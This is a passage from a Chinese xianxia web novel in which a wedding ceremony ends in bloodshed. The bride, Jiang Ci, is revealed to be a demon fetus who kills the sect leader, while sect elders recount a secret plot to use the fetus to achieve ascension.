有守在主殿外的弟子见到她们,立刻迎上前来拱了拱手,姿态恭敬:“大师姐,曦云师姐。” 看来她和虞曦云被关在古冢之事,门内果然无人知晓。 虞知鸢点点头,“结侣大典开始了吗?” “方才开始。”那弟子道,让开了路,“二位师姐请进。” 虞知鸢立刻便拉着虞曦云走过去。 尚未至殿门口,听见里头传来声音:“……永结鸾俦,敦万年之静好……” “礼成。新人敬茶——” 礼成了?这也太快了点吧! 虞知鸢脚下步伐更 快,几乎是一头冲进了大殿。 殿内站着近百名修士,服饰各异,显然来自不同宗门。 虞知鸢这闷头一眼,险些没看到人群中身着喜袍的姜辞和慕言蘅。 但好在,两人离坐在上首的虞瀚玥还有一段距离。 还来得及。 虞知鸢进门的动静虽不小,但观礼的众人也只当她是来迟了的宾客,并未放在心上,倒是姜辞似有所觉,偏头朝她看了一眼。 虞知鸢眼睛一亮,正要与她传音,却见姜辞很快收回视线,与她身旁的慕言蘅耳语几句,竟是加快了步伐往虞瀚玥走去。 她心下一慌,没顾得上多想,下意识朝里头喊道:“等……等一下!” 这一声中含着灵力,声音虽然不不够大,但是穿透力还算强,整个殿内的人都听见了这道声音。众人的目光不约而同看了过来。 虞知鸢头皮一紧,微微侧过头去看虞曦云:“快,到你——”上了。 这不看不知道,一看才发现虞曦云脸色苍白,双眼瞪得老大,像是被什么吓到了似的。虞知鸢这头话都还没说完,她倏地甩开了她的手,朝门外跑了…… 跑了??? 你跑了……那谁去抢亲?!? 虞知鸢再扭头朝首位望去。 虞瀚玥整个人拢在黑暗中,如同她第一次见到他时一般,瞧不清神色。 今日这场结侣大典要是不阻止,那姜辞…… 谁晓得还没等她下定决心,那边姜辞已经又在朝虞瀚玥走过去了。 好哇!她这是有多想嫁给慕言蘅啊! 虞知鸢狠狠咬了咬后槽牙—— “大师兄!!!” “我我我我喜欢你!” “你别娶她了,你娶我吧!” 观礼的众人忍不住面面相觑。 “她是谁?” “这位也是凌云宗弟子吧?她这是要……抢亲?” “这慕道友桃花运也忒好了点。” “……” 众人一边交头接耳,一边很自觉地给虞知鸢让开了一条路,且大多眼睛放光,大有要看出好戏的意思。 而另一边,先停下步子来的并不是被虞知鸢声嘶力竭喊着“大师兄”的慕言蘅,而是穿着一身华美婚服的姜辞。 他默不作声地听着从虞知鸢嘴里吐出来的话,屈了屈因为情绪激烈起伏而难以抑制发颤的手指。 呵!喜欢大师兄? 她怎么敢说出这样的话来? 他要……他要…… “哎呀!” 眼看就要跑到姜辞边上,虞知鸢被从人群中蓦地伸出来的手扯了个趔趄,原本可以很快站稳的她眼神一瞥,恰好瞥到姜辞那死死盯着她,好似要把她撕碎的眼神…… 心念电转间,她故意往前一扑—— “师妹,师姐对不起你啊!” “师姐也知道不该跟你抢大师兄,都是师姐的错。可谁让师姐爱上大师兄了呢!” “师妹你就成全师姐,把大师兄让给我吧……” 其余宗门观礼的人这会儿已经觉得站立难安了。 二女争一男不是不好看,实在是这突然冲出来的女子太过浮夸了。 这里可是凌云宗啊,见证了凌云宗门内这样的场面,于他们来说,实在不大合适。 “师姐说什么?” 这时清凌凌的声音在殿内响起,打断了虞知鸢极尽浮夸的表演,也将殿中众人的视线都吸引到了姜辞身上。 包括高坐上首的虞瀚玥。 他藏在广袖中的手指摸索了下掌心的墨玉,另一只手则悄悄捏了个诀。 很快,他本就浑浊的双眸也变得越发无神。 与此同时,始终沉默不语的慕言蘅眸色一凛,蓦地盯住了身旁的人。 这厢虞知鸢也因为突然开口的姜辞怔了怔,她抬起头来,茫然地“啊”了声。 “师姐方才说什么?”姜辞动了动唇,耐心地重复一遍。 虞知鸢也察觉到姜辞情绪不对了。 可事到如今,她也只能硬着头皮演下去了,不管怎么样,她绝不能让姜辞靠近虞瀚玥! 她轻咳一声,心虚地移开视线,这才开口:“师妹……咳……就成全了师姐吧?” “不是这一句。”姜辞微微地弓下身子,伸手捏住她的下颌抬起来,本就冰冷的表情慢慢凝结,眉眼都透出几分危险的意味。 虞知鸢这会儿哪里敢和她对视,只好盯住了姜辞脑后颤颤晃动着的金色发冠,“我……”她喉咙滚了滚,艰难开口,“师姐……爱……爱上了大……大师兄……” 姜辞抿了下舌尖,压下脏腑间翻涌的情绪,口气尚平和道:“好。” 好?这是答应她了? 虞知鸢闻言都不觉楞了楞。 她眸光微微颤动,视线终于落回到姜辞脸上。 四目相对,目光交融。 就在这时候,耳边一声清脆的铮鸣之音。 眼前银光闪过。 “滴答。” “滴答。” 有什么东西落在地面上,在一刹那的静寂之中,那声音显得格外清晰。 下一瞬,如水入了油锅,四下一片沸腾。 “怎么……怎么回事?” “是我眼花了吗?姜仙子怎么对慕道友动手了?他们不是道侣吗?” “是不是捅错人了?” “有话好好说便是,何至于此啊!” “……” 有不少人还在原地发怔,但也有反应过来的弟子迅速围上来,像是要拉开姜辞。 却在这时。 坐于上首的虞瀚玥身形霎时委顿下来,他口中发出难以忍耐的死死咬牙的咯吱声,血液从他的七窍如流水般涌出。 “噗——”他口吐鲜血,难以抑制地屋面跪倒在地,仙风道骨的姿态尽失。 一道白色光团于他囱门处飘出来,像是神魂就要离体一般。 众人被这副景象惊得神情恍惚,控制不住地从喉咙中爆出了惊呼。 发生了……什么? 凌云宗的几位长老立时围拢过去,却在瞧见那犹如恶鬼一般的怪异面容时停住了脚步。 于长老们的目光中,虞瀚玥手中捏的墨玉倏然裂开,一股看不见的黑气从墨玉中扩散,慢慢往前方执剑的人飘去。 眼看着那黑气一缕一缕钻进姜辞的身体,虞瀚玥的嘴唇微微蠕动了下:“拿下那……魔物……” 他的声音虽虚弱,却清晰地响在殿中每一个人的耳侧。 只是……魔物? 哪来的魔物? 大殿内的宾客大都是此次各宗门内派来参加宗门大比的年轻弟子,只修为虽突出,到底经历少了些,停了这话都惊了一跳,惊诧质疑声此起彼伏,险些乱成一锅粥。 还是护送弟子前来参加宗门大比的各宗门长老先镇定下来,安抚住了骚乱的人群。 虞知鸢这时也终于回过神来,她嘴唇一抖,几乎是下意识地拽住了姜辞的衣袍。 姜辞手中的剑仍旧插在慕言蘅的胸膛上。 来拉架的弟子方才不敢硬来,手忙脚乱之际又被虞瀚玥那边突如其来的一幕惊得呆了片刻,等他们想起要察看慕言蘅的情况时,一股强悍的力量倏地自慕言蘅身上炸开,将他们全部弹开了去。 伴随着这股力量,有魔气渐渐散开。 那魔气是从慕言蘅身上散出来的。 众人一定睛,这才看到慕言蘅藏于宽大的广袖之下的手上,握着一柄断刃,刀尖直指他的道侣…… 所以姜辞是为了自保才对慕言蘅动手的? 难道魔物便是慕言蘅? 众人一凛,视线不由自主又落回到那身着婚服,手执长剑的女子身上。 她正慢条斯理地,一点一点地把剑从慕言蘅身上抽出来。 而后,她回眸,上挑的眼尾弯成好看的弧度。 于众人惊骇的注视之中,她那双幽深的,犹如琉璃一般的眼眸渐渐从最深处泛出另一种猩红色泽。 她缓缓弯下腰,朝拽住她衣袍的少女绽开一个讨好的笑: “师姐爱上了大师兄?” “师兄现在死了。” “师姐以后只爱我好不好?” 虞知鸢:“!?!” 众人:“?!?” 第58章 第58章“这样,可以了吗?”…… “噗通”一声。 慕言蘅的身体没有了支撑,重重倒在地上,血从他胸口的伤口流出来,漫过姜辞脚下,一点点淌到跪坐着的虞知鸢身旁。 这一幕,霎时激起千层浪。 “她……姜仙子入魔了!” “我们弄错了!慕道友不是魔,她才是魔!” “别嚷了,她现在尚未完全魔化,我们趁现在上,拿下她!” 到底都是来参加宗门大比的优秀弟子,一阵混乱之后,很快便回过了神,在各自宗门长老的带领之下,往姜辞和虞知鸢围拢了过去。 而方才围在虞瀚玥身侧的几位凌云宗长老比他们更快反应过来, 他们虽尚未弄清楚今日发生这些事情的原委,但眼看短短几瞬的功夫,萦绕在姜辞周身的魔气已浓郁到充斥整个大殿,也猜测到她的来历恐怕不寻常。 下一瞬,数道酝着强悍灵力的法术连同法宝便朝着姜辞扔了过去。 姜辞身上浓烈的魔气与之相抗,气流弹开间,横扫围拢过来弟子们。 众人被弹开倒地,再起身,视线中,姜辞一身红衣裙摆飞扬,周身魔气四溢,那魔气凝结犹如实质,已经到了完全无法忽视的地步。 而她怀中,赫然还揽着方才那名前来抢亲的少女! 二人的衣衫交缠,一青一红,无端显出几分难言的意味来。 不是……这究竟是个什么情况啊! 众人满脑子浆糊,又惊又疑之际,虞知鸢也终于从巨大的冲击中回过神来。 她揪住姜辞衣衫的前襟,压下脑中一团乱麻的思绪,努力仰着头道:“姜辞,咱先商量一下啊。你先别入魔成不成?那虞瀚玥要害你呢,你要是入了魔可就如了他的意了,咱先离开这里再从长计议?” “不成,”姜辞微微低下了头,看向她的一双血色瞳眸仿佛要滴出血来,“师姐还没回答我。” 回答……什么? 虞知鸢刚动了动唇,脑袋便被一股无法挣脱的力道裹挟着,紧紧抵在姜辞胸前。 她不明所以,微微挣了挣,钳紧她腰肢的手臂猛地一紧。 避开又一道攻击的同时,虞知鸢听到虞瀚玥的声音。 “此女乃魔渊中诞生的魔胎,血脉特殊,乃是天生的魔物,”虞瀚玥说到这顿了下,似是喘了口气,这才接着道:“今日我等若不将她拿下,粉碎她的金丹,他日必成我修真界一大祸患。” “魔胎?!?” 四周人喉头紧塞,虞瀚玥这话惊得声音都变了调。 “不是这样的!你胡说!姜辞才不是什么魔胎!”一道清甜嗓音跟着响起,虞知鸢怒从心起,指着虞瀚玥:“是你,分明是你炼制了魔引,要害姜辞入魔!” 众人:“魔引!?!” 虞瀚玥声音平静:“是与不是,事实已摆在各位眼前,又岂是她随口辩解几句便能开脱得了的。” 说话间,众人才发现虞瀚玥的伤不知何时已恢复了许多,他缓缓站起身,掸了掸衣衫,衣衫瞬间洁白如新,脸上的血也不见了,又是那个气质卓绝出尘的虞宗主了。 在众人各异的目光中,他伸手,引来一面镜子。 那镜身呈银白色,上面电光转动,轻轻挥动间,便引得殿内灵气卷动,万千银光自刀身上迸射开,带动得灵气形成一个巨大的漩涡。 仔细看的话,会发现虞瀚玥驾驭此物十分吃力。 众人看得呆了去,喃喃着: “那是神器……玄天镜?” “可玄天境不是在百年前便与玉尘仙子一道失去踪迹了吗?怎会出现在凌云宗?” 他们心头一凛,再度意识到,这凌云宗内,怕是藏着许多不为人知的秘密。 这厢各自震撼不已,那厢姜辞仍旧对那见风即涨的镜子视若无物,他只把虞知鸢往自己怀里塞了塞。 他不想叫她看见接下来的会发生的事。 虞知鸢还待再与虞瀚玥对峙,发现自己被摁住了后脑勺,正挣扎间,头顶光亮乍现。 姜辞此时也才像终于看到那镜子。 不过眨眼的功夫,那玄天镜便已高高悬在大殿中央,万道银光重聚,直指下方的他和虞知鸢。 竟半点都不顾自己的女儿吗? 果然该死。 姜辞起手掐诀,从身上蔓延出的魔气势如长虹,将他和虞知鸢一道包裹住了。 白光与黑气相撞的刹那。 一股惊天骇地的威压,朝四周荡开。 地动山摇,轰隆作响。 众修士只觉得像是有一阵风自他们脑门处掠过,喉咙口跟着涌起一股腥甜。 这是大能之间的对决,全然没有普通修士插手的余地。 莫说各宗门弟子,便是各位长老,也都不得不退出数丈之远。 而后—— 一声凄厉的尖叫蓦地爆出。 有些……耳熟。 众人忙抬起头,不自觉地瞠大了眼眸。 鲜血再度自虞瀚玥的七窍喷射而出,他身形萎顿,骤然伏倒在地,这下囱门处的白光都已经彻底消失不见了。 很显然,这一击抽空了他整个人。 虞瀚玥,凌云宗的宗主…… 死了! 再看那厢,浓郁的魔气包裹中,除了姜辞一身婚服被强悍劲道撕破些许,整个人竟像是没有受一丝伤。 他抬手一招,竟将那盘旋在半空的,属于虞瀚玥的魂魄一手抓了过来。 众人见状,心中的惧意几乎攀至顶峰。 这厢虞知鸢也察觉到殿内近乎死寂一般的安静。 “怎么了?” 她扭了扭头,却被姜辞再一次摁住了。 “无事。”姜辞道,五指微屈。 眼看着虞瀚玥的魂魄就要被捏碎时,有人突然站了出来。 “手下留情。” 是息尘长老。 许是怕话说得慢了便来不及制止姜辞这番举动,他不等姜辞回应,便又接着道:“你该知道的,他是阿鸢的亲生父亲,你与阿鸢感情甚笃,只怕你今日碎了他的魂魄,他日阿鸢与你再生了嫌隙。” 虞知鸢:唔?虞瀚玥的……魂魄?他……死了? 她眉头轻皱,下意识地抬眸想要与姜辞确认。 姜辞动作一顿,但下一刻,便又不再迟疑。 他冷嗤一声:“他又怎能算作阿鸢的父亲?” 虞知鸢闻言,呼吸忍不住微微颤了下,少顷,启唇轻声道:“嗯,他不是我父亲。” 像是在回应姜辞的话,也像是在对自己说。 “纵然他不堪为父,可有一事你们怕是不知,”息尘长老面上并没有与其他人一样的惊惧之色,出口的话也显得分外镇定:“你们可知他与阿鸢的母亲曾一同种下白头蛊?如今阿鸢母亲的残魂还未消散,便是因他还活着,若是他魂魄散尽,阿鸢母亲的残魂也会一并消散。” “阿鸢,你愿意吗?” 等等, 什么父亲? 阿鸢又是谁? 还有,白头蛊,那不是邪修的玩意儿吗? 众修士们恍惚了一瞬。 便是姜辞,也忍不住皱起了眉。 他终于缓缓垂眸,看向了从方才起便一直被他护在怀中的少女。 虞知鸢也被惊讶于息尘长的这番话,她下意识打开储物袋,取出那枚定魂珠,牢牢攥在手中。 会一起……消失吗? 但她没来得及思考太多。 人群中有人惊呼:“那又是什么?” 众人不由地屏住了呼吸。 却见虞知鸢身旁骤然出现一道浅淡到几乎透明的身影,就像是一团随时都可能被风吹散的气。 只见她一抬手,凝聚起一股并不算强大的灵力,然而下一瞬,这灵力竟化作悍然杀招,一下便将姜辞手中那一团魂魄劈作两半。 与此同时,虞知鸢脑中如有电流窜过,许多密密麻麻的画面一齐涌出,下一瞬,她只觉得眼前骤然一黑,整个人便全然失去了意识。 这一切发生得实在太过猝不及防,莫说其余人了,便是姜辞一时都没有反应过来。 残魂没有意识,她做的,只是她本能会做的事情。 “那是玉尘仙子吗?”大殿 中有人出声道。 “玉尘仙子?是谁?” “现在是关心这种事情的时候吗?我们得想办法对付那魔头!” “是、是,可神器都奈他不得,我们能怎么办?” 吵吵嚷嚷间,有人蓦地出声道:“来人了!来人了!定是各宗宗主长老收到传讯赶来了!” 众人扭头望去。 只见一艘巨船之上,有数人立在船头,风从他们身上拂过,却连他们一根头发丝都带不起来。 其中为首一人,正是照日台的容清真人,那可是修为已至大乘期的大能修士! 有救了,他们有救了! 眨眼间,巨船已至大殿外。 与此同时,望尘峰上多处都亮起了光点,光点与光点之间相连,形成了一个巨大的阵法。 “是弑魔阵!” 容清长老垂首道:“一个魔胎,潜藏在我修真界中数年……你对着人间界究竟有何图谋?” 息尘长老见状,终是叹息着隐去了身形。 姜辞却并不理会,只是紧紧揽住了尚未醒来的虞知鸢。 那残魂的消散,应是彻底打碎了她识海中的禁制。 这样也好,不至于叫她瞧见他大开杀戒的模样。 那边巨舟上的几人已布好了阵法,那阵法与望尘峰上的弑魔阵遥相呼应,形成一张巨大的网,朝姜辞扑落而去。 众人只见从姜辞身上蔓延出浓郁的黑气,同样形成一张巨网,包裹住他和虞知鸢的同时,朝着空中压下来的那股力量抵上去。 强悍无比的威压四散开来,压得人几乎直不起腰。 片刻后,人群中有尖叫声倏然响起。 有弟子觉得莫名,转眸望向声音来处时,跟着吓得尖叫出声。 只见两股力量的对抗之下,姜辞周身黑气化成黑色火焰,那些未能及时撤离开的弟子,连同身上裹着的衣料都在瞬间被融化。 火星子溅开来,离得近的弟子被溅到,跟着着了火。那火即便用法术也扑不灭,转眼就被烧成一具局狰狞枯骨。 这般惨状,说是人间炼狱都不为过。 “这火不对!快跑!” 殿内修士瞬间如鸟兽散,其中有跑得慢的,一旦沾上一点火星,又或是踩到了枯骨,便会跟着起火。 以容清真人为首的一重大能修士也被这一幕惊得目眦欲裂。 “好生……好生厉害的魔气!” 容清真人眼底也闪过一点惧色,他吐了口气,左手灵气凝成光团,右手在空中一挥,请出一巨钟来。 “那是落魂钟!”众人倒吸一口冷气,“照日台的神器也请出来了!” 一时间,气氛如弦上之箭,一触即发。 虞知鸢就是在这个时候醒过来的。 更准确地说,她是被吵醒的。 脑中无数画面仍在翻腾,她没能抓住那些画面中的什么,反倒被像是要被急促尖锐系统警报音给刺穿脑仁。 她眼前一会儿黑一会儿白的,难受得只能死死揪住姜辞的前襟。 终于,脑中响起一阵“滋滋”的断续电流声,紧接着,消失了不知多久的电子音终于久违地响起:【警报!请……滋滋……宿主尽快阻……止……滋滋滋……魔化……】 阻止……什么? 她终于能够睁开眼,本能转头去要去看周遭发生的事,却被一个冰凉的力道捏住了下颌。 “阿鸢醒了。”姜辞喃喃地唤她的名字,抬手轻抚她因疼痛而泛红的眼尾,“怕是还要些时间,再睡会儿?” 虞知鸢的脑子还是疼的,但耳边回荡着的堪称惨绝人寰的惨叫声却止不住地往她脑子里钻,和尖锐的警报声混在一块儿,像是要把她的头都炸了。 一个无比清晰的念头也随之涌入脑海。 姜辞绝不能彻底魔化! 她该怎么办? 她能怎么办? 理智被刺痛搅成一滩浆糊。 虞知鸢本能地抬手勾主姜辞的脖颈,脑袋搁在他肩窝,几乎整个人都攀到了他身上去。 “姜辞,我难受,带我走好不好?” 湿热的鼻息喷洒在姜辞耳垂上,他呼吸顿了顿,想将人扯下去,却只是牢牢钳住了她的腰,柔声:“马上就好,忍一忍。” 这样都不行? 虞知鸢吐出一口气,盯住眼前紧抿的薄唇,少顷,凑过去,贴住了。 她探出舌尖,轻轻从他唇峰上舔过去。 “这样,可以了吗?” 第59章 第59章给!我!滚!出!来!…… 嗡嗡之声不绝于耳,神器落魂钟挟裹着滚滚威压一层接着一层向下碾压,和姜辞周身浓郁的魔气碰撞倒一起的霎那,一众修士都被震荡得眼前发黑,甚至有修为低的,因支撑不住而口吐鲜血,直接便跪倒在了地上。 正当众人以为他们今日或许就要死在这里时,那仿佛要把人灵魂都撕碎的恐怖威压突然之间…… 消失了? 众人身上一松,这时终于可以抬起头来。 方才落魂钟和魔气相撞的地方,此时已空无一物。 这是……成功了? 是的,定是成功了! 那魔定是已经灰飞烟灭了! 他们迫不及待地,转头看向立在巨舟上的容清真人。 容清真人仍旧站在那里,动也不动。 但脸上的神色,着实称不上好看。 “那魔是自己离开的,”万籁俱寂中,息尘长老叹息了声,“落魂钟,对付不了她。” 众人闻言禁不住地打了个寒噤。 对付不了? 怎会对不不了? 可即便对付不了……或许也没关系? 那魔既然会逃走,想来便是对落魂钟有所忌惮,否则她又怎会如此轻易便离开? 正当他们脑中嗡嗡作响之际,息尘长老又开口了:“今日之事是我凌云宗失察在先,叫那魔钻了空子,才酿出此番后果。眼下那魔既已离去,想来暂时不会再回来,诸位且先各自回住处歇息调养,待与各位宗主长老商议后,我凌云宗会给修真界一个交代。” 除各宗宗主长老之外,其余人闻声皆是松了口气。 他们完全无法将今日发生之事捋清楚,想到什么都只觉得万分怪异。况且那魔实在厉害,大能修士之间的对战,他们这些修士根本插不上手,此时想起来,甚至都还觉得阵阵说不出的恐惧。 一转眼,殿中便只余凌云宗的几位长老,以及以容清真人为首的几位大能了。 容清真人缓缓转身,盯住了虞瀚玥的尸身以及他身下的大片血迹,“这究竟是怎么回事?” 这话问的自是凌云宗的几位长老。 事情发生在凌云宗,而那魔显然也已在凌云宗潜藏了数年。 再看今日这般情形,要说虞瀚玥始终未曾察觉,那也只能说出去骗骗那些年轻弟子罢了。 清雨长老与灵渊长老对视一眼,面上都露出来些茫然又难言的神色。 “此事兴许只有我清楚内情。”息尘长老说着,弯腰从地上捡起一物。 那是一枚金色的圆丹。 修士修炼至金丹期,紫府便可呈金丹状,此后修为每上一重境界,金丹也都会随之产生变化。修为大成者,其金丹紫府甚至可自成一片天地。 而此物,便是虞瀚玥的金丹,其中原来或许还有他的灵识、修为与感悟,但现在,这金丹也只是一颗空有其表的圆丹罢了。 一点唏嘘升上息尘长老的心头,但很快便又烟消云散了。 他挥了挥手,当即便有弟子上前来,弯下腰开始收敛虞瀚玥的尸骨,待到他们带着尸骨退出大殿,息尘长老的目光变得冷了些。然后他开了口:“便从姜氏一族说起吧……各位可知晓姜氏一族?” 容清长老顿了下:“可是那有神兽白虎血脉的姜氏?” 在场几人闻言顿时提起了精神。 传说上万年前,人间界便有流传着四圣血脉的家族,分别是青龙、白虎、朱雀以及玄武。这四大家族向来以自身神兽血脉为傲,并不屑与修真界各宗门来往,也鲜少有人见到过这四大世家的人,因而现在的年轻弟子大都不知道四大世家的存在,但他们这些活了几百年的老东西,还是听说过姜氏的。 只不过他们若是没记错,这姜氏似乎在近十年前就被人屠尽了? “也算不上屠尽,”息尘长老道:“那些没有姜氏血脉的弟子,很多都逃了出来。其中有一人便被宗主带回了凌云宗,宗主也是从他口中得知了姜氏灭门的原委。 ” “等等,”灵渊长老蓦然打断道:“这姜辞……难道便是出生姜氏?” 息尘长老点头,“她不仅出生姜氏,也是姜氏灭门的罪魁祸首。” 大殿中静了一瞬。 容清真人倒是并不意外,他抿了抿唇,冷声道:“既是魔胎,做出此等事来也没什么奇怪的。” 众人闻言也立刻想起来这回事。 是啊。魔胎魔胎,又怎么能以常人的所思所想去揣摩? 这时还是容清真人开了口:“只不知,这身负神兽血脉的家族,怎会生出魔胎来。” 息尘长老又重重叹了声,“魔域之中有魔渊,上古时期便有魔胎自魔渊中诞生,自此天下便被魔气笼罩,陷入无尽的战乱和黑暗之中。后来有凡人得到一神器,借神器将魔胎杀死,而这个凡人也因拯救天下苍生的大功德得以飞升。” 众人一时噤了声。 杀魔胎,可飞升…… 这可是书中从没有记载过的,他们连零星的相关传说都不曾听说过。 息尘长老接着道:“几千年了,修真界中修士不知凡几,却从未有人能够飞升,也包括四大世家中那些拥有神兽血脉之人,那位姜氏家主不知从何处得来这消息,便生了邪念。 “只是魔渊一旦孕育出魔胎,必会引来人间界动荡。若是叫天道察觉,那便是大大的罪过,又如何还能飞升?于是这位姜氏家主经过数年,也或许是数十年,数百年,竟想出了一个借腹生子的法子来。” 众人闻言一顿: “什么?” 他们只知道凡间有无法孕育子嗣的人家,确实有“借腹生子”一说,可是借腹生魔胎……这又怎么可能做得到?怕不是还没孕育呢就被魔气绞杀而亡了吧? “常人确实无法孕育魔胎,可姜氏一族又与常人不同,他们本就拥有神兽血脉,或许还有别的秘术……”息尘摇了摇头,“总之,魔胎就这么出生了。” 容清长老插声道:“既是要借诛杀魔胎来飞升,为何不在她一出生时便动手?” 是啊,为什么不直接杀了那魔胎呢? 四下的目光又都聚集到了息尘长老身上。 “魔胎借姜氏族人之腹出生,自是也传承了姜氏的神兽血脉。初诞生的魔胎尚体弱,魔气被神兽血脉压制,便是天道兴许都不曾察觉,杀了她,又如何确保能够飞升? “于是姜氏家主只能等魔胎长大,修为增长的同时,魔胎体内魔气也会与日俱增,待到魔气压过神兽血脉,魔相尽显,届时诛杀她,再捏碎其金丹灭其神识,这一切,也许才算圆满。” 在场之人的脸色俱都越听越难看。 容清长老脸色更是肉眼可见的沉了下来:“所以虞宗主作为修真界第一大宗的宗主,在得知此事后,不仅没有将此事公之于众,反而寻到了这魔胎,妄想借用此法来飞升?还有你,”他看向息尘长老,眉头更显锋利,“知而不报,反倒助纣为虐,倒也敢为一宗长老?” 灵渊、清雨两位长老闻言,也都是脸色不太好看。 息尘长老依旧是不紧不慢的语调,“此事说来确是我有私心。只是……你们可知虞宗主今日为何会敌不过那魔的一击之力?” 众人立时又陷入了沉默。 不错,那魔确实厉害,可按理来说,虞宗主也是大乘期修为的大能修士,又有神器玄天镜相助,为何竟会如此轻易便被那魔取了性命? 不,甚至那魔尚未动手时,虞宗主便已七窍喷血修为倒退,着说起来实在已经是怪异到没边了! 还有那消失了近百年的玉尘仙子的残魂,怎会在那名少女手里,且那残魂像是和虞宗主有不共戴天之仇似的,明明没有丝毫意识,竟也要弄得虞宗主魂飞魄散。 息尘长老道:“这事的起因,还要追溯到二十年前。那时宗主已是凌云宗长老,奈何修为停滞在元婴期,十多年未有突破,而上一任宗主霄宁道尊已出现天人五衰的症状,宗主便决定入世寻求突破。 “那番入世宗主应当是得偿所愿的,他回来时修为已至大乘期。只是在顺利接任宗主之位的五年后,他又下山一趟,这回却是带回来一个孩子,把她扔在了外门。 “而自那以后,宗主身上便渐渐开始出现异状,他会变得苍老如同凡人,刚开始这症状几年才会出现一次,持续的时间也很短,宗主只与我们道是中了妖毒,起初我也不甚在意,只是后来情况越发严重,甚至宗主的修为都因此而倒退。 “我察觉其中有异,几番追问,宗主才告知我,他在入世那段时间,曾遭邪修毒手,中了白头蛊,与玉尘仙子有了关系,被他带回来的那个孩子,便是他与玉尘仙子的骨血。” 众人听到这等秘闻,都忍不住露出了一副意味不明的表情。 虽说是为邪修所害,可这虞瀚玥可是早就有正经道侣的,他怎能……怎能再与玉尘仙子…… 容清真人眼含讽刺,嘴角撤出了一点锐利的弧度:“白头蛊,取白头偕老之意。中蛊毒者,一人白头,另一人也白头,反之,一人若不死,令一人魂也不会灭。而他蛊毒会发作,便是因玉尘仙子已身死,但残魂仍未消散吧。” 息尘长老点头:“便是如此。修士强大,但世间万物也各有其玄妙。我不知玉尘仙子身上究竟发生了何事,但她既已死,蛊毒自然无解,宗主若不想法子飞升,身死道消怕也就是这几年的事了。” “荒谬!”容清真人突然厉声喝斥,“尔等既已踏入修仙之路,便该修人修心,岂可为了一己私欲,隐瞒真相,做出一件又一件损人利己的事来?若是修真界中人人都如你们这般,还分什么正道邪道?我们又何苦再做这降妖除魔之事?不如大家一起收拾一下,一起做了邪修便罢了。” 这话无人敢应答。 灵渊和清雨两位长老心下苦笑。 宗主这些事做的实在是不地道,还有这息尘,这么多事,竟然丝毫也不曾向他们透露…… 容清真人咽下喉头徘徊的怒火,沉声道:“事到如今,尔等解释再多也弥补不了一二。幸好那姜辞如今还尚未完全化魔,我们还有机会。” 息尘长老嘴角扯出一个苦涩的笑,接声道:“容清真人说的是。眼下除魔之事最为紧要,我凌云宗又暂且没有合适的下任宗主人选,且听真人调遣。” 灵渊、清雨两位长老自是也没有异议。 容清真人闻声,面色也稍稍缓和了些。 好歹这凌云宗这些人还是知道事情的轻重缓急的。 这时有人忽然插声道:“那魔虽是虞宗主寻来的,可她竟为何会愿意蛰伏在此?” 说话的正是太虚宗宗主广明道人,他皱眉看向息尘长老,冷冷出声:“况且我听说的那位姜氏少主可是个男子,若事情果然如你所说,那这又是怎么回事?” 其余人闻言,也纷纷疑惑出声: “是啊,既身为魔胎,又灭了姜氏,如此修为,何苦还需窝在你凌云宗?” “兴许是灭姜氏之时受了伤,这才隐瞒身份,寻了个地方疗伤?” “倒也不是没有这种可能……” 容清长老拧起眉,良久,像是想到什么,突然问道:“那魔胎可是去过千嶂谷?” “是,前些日子正是清扫千嶂谷的……”灵渊长老说到这蓦地一顿,“你是说,他有可能是为了找乾坤印?” “乾坤印?” “他是想打开昆墟境和魔域之间的通道!” “通道一旦开启,便再困不住那群魔族……这魔果然居心不良!” “可……不对啊,”清雨长老拧起眉,有些想不通,“清扫千嶂谷已是两个月之前的事了,他若是取到了乾坤印,为何拖到今日还不曾开启通道?” “兴许他未能取到呢?” “是啊,他就算厉害,那也不可能掌控一切,那乾坤印,也不是他想取就能取得到的啊。” “这可不好说,今日你们也瞧见了……” 众人你一句我一句,许久也没讨论出个结论来。 容清长老沉声:“眼下当务之急仍是要想法除掉他,今日时辰不早,宗门内事务且还等各位回去拿主意,明日一早,再行商议。” “是。” 大殿中的人很快各自离去。 待到明月高悬,一片死寂的大殿中蓦地响起些轻微的窸窣声,紧接着,一具被鲜血浸透了的尸体微微动了下。 另一厢,息尘长老正端坐屋中。 “吱呀”一声,有人从外面推开了门。 息尘 长老抬眼望去,只见门口立着一个面貌温润的少年。 他朝息尘长老拜了拜,这才往旁边让出位置,露出他身后身着碧霞色衣衫的少女。 “阿云来了。”息尘长老低声道。 虞曦云的身体轻轻颤抖着,良久,苍白的嘴唇蠕动了下,出口的声音几不可闻: “我阿娘……是被他杀的吗?” /// 虞知鸢的识海汹涌。 她记不太清楚姜辞是怎么带自己离开的凌云宗,只知道覆在自己唇上的那抹温度撬开了她的唇,交缠着她的舌尖,搅弄吞咽,那温度滚烫,像是要把她整个人都融化一般。 这一霎那,满脑子翻腾的记忆中,忽然多出来几个无比清晰的,属于她和她的,交缠暧昧的画面。她本就凌乱的记忆因而彻底陷入了一片混沌。 后头更加怪异了。 她只隐约感觉那抹滚烫像是也钻入了她的身体里,姜辞烫,她也烫,抵在腰间的,更是烫得她脊椎骨都起了战栗。 她几乎是本能地按住了姜辞的肩膀,想要离远一些,但姜辞却又沉眸扣住她的后脑勺,直接将她压了回来。她亲得她喘不过一点气来,钳在她腰间的那抹力道也愈发紧,像是要把她按到她身体最深处。 她的头又疼又昏,身体也跟着起了微微的,细密的,怪异的反应。 以至于到后头,当她感觉到指尖似乎触到一片细腻的平坦时,迟滞的思绪也没有立刻反应过来。 “还难受?”她听见姜辞问她。 但她还没来得及张嘴,姜辞的声音很快又落了下来:“打开识海,我帮你?” 打开……识海? 虞知鸢昏沉的脑子完全没办法思考,听见这话,身体本能地便照做了。 下一瞬,一抹强悍至极的灵识,以一种汹涌狂猛的姿态攀住了她的,狠狠地、毫无阻碍地侵/入。(审核大人,灵识而已,不是别的什么啊,你别想太多了,看到锁了我都蒙了) 虞知鸢被这感觉刺激得脑子都木了,控制不住地从喉间溢出一点闷哼。 后头就有些记不清了。 似是那抹霸道的灵识在她识海中长久地胡乱搅弄一番后,才终于摸索到诀窍,将她混乱的灵识依次梳理。 不知过去了多久,耳边又响起姜辞的声音:“好些了?” “嗯……”虞知鸢应完声,发现自己还偎在姜辞怀里。 她吐出一口气,撤开一些距离,这才发现二人正躺在一张床榻上。 ……不仅仅只是躺着,而是手足相抵,身躯交缠。 姜辞抱着她,唇抵着她的耳根,她的腿不知何时搭到她身上去了,被扼得紧紧的。 两人的衣衫皆都七零八落,但好歹……还穿在身上。 